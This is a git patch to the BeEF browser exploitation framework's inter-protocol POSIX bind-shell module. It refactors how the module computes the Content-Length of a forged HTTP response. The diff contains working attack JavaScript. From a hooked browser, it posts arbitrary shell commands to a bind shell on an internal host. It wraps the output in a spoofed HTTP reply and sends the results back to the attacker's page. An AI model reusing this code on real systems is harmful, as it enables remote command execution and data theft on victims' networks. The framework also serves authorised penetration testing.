From 8150decdb3c640984b111b733dd80560f48f0879 Mon Sep 17 00:00:00 2001 From: "buherator@gmail.com" Date: Mon, 3 Oct 2011 08:58:39 +0000 Subject: [PATCH] IPEC/POSIX - Eliminated hardcoded sizes git-svn-id: https://beef.googlecode.com/svn/trunk@1348 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/ipec/inter_protocol_posix_bindshell/command.js | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/ipec/inter_protocol_posix_bindshell/command.js b/modules/ipec/inter_protocol_posix_bindshell/command.js index f8c661234..94e4db557 100644 --- a/modules/ipec/inter_protocol_posix_bindshell/command.js +++ b/modules/ipec/inter_protocol_posix_bindshell/command.js @@ -42,15 +42,18 @@ beef.execute(function() { myform.setAttribute("action",action); document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform); + body1="
"; + body2="__END_OF_POSIX_IPC<%= @command_id %>__
window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);"; + // post results separator myExt = document.createElement("INPUT"); myExt.setAttribute("id",<%= @command_id %>); myExt.setAttribute("name",<%= @command_id %>); - myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(34+cmd.length+52+parent.length+110+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \"
\";(" + cmd + ")|head -c "+size+" ; "); // TODO Calculate Content-Length without hardcoded sizes + myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(body1.length+cmd.length+body2.length+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \""+body1+"\";(" + cmd + ")|head -c "+size+" ; "); myform.appendChild(myExt); // Adding puffer space for the command result - end_talkback=" echo -e \"__END_OF_POSIX_IPC<%= @command_id %>__
window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);"; + end_talkback=" echo -e \""+body2; while(--size) end_talkback+=" "; end_talkback+="\" \\\\r ;";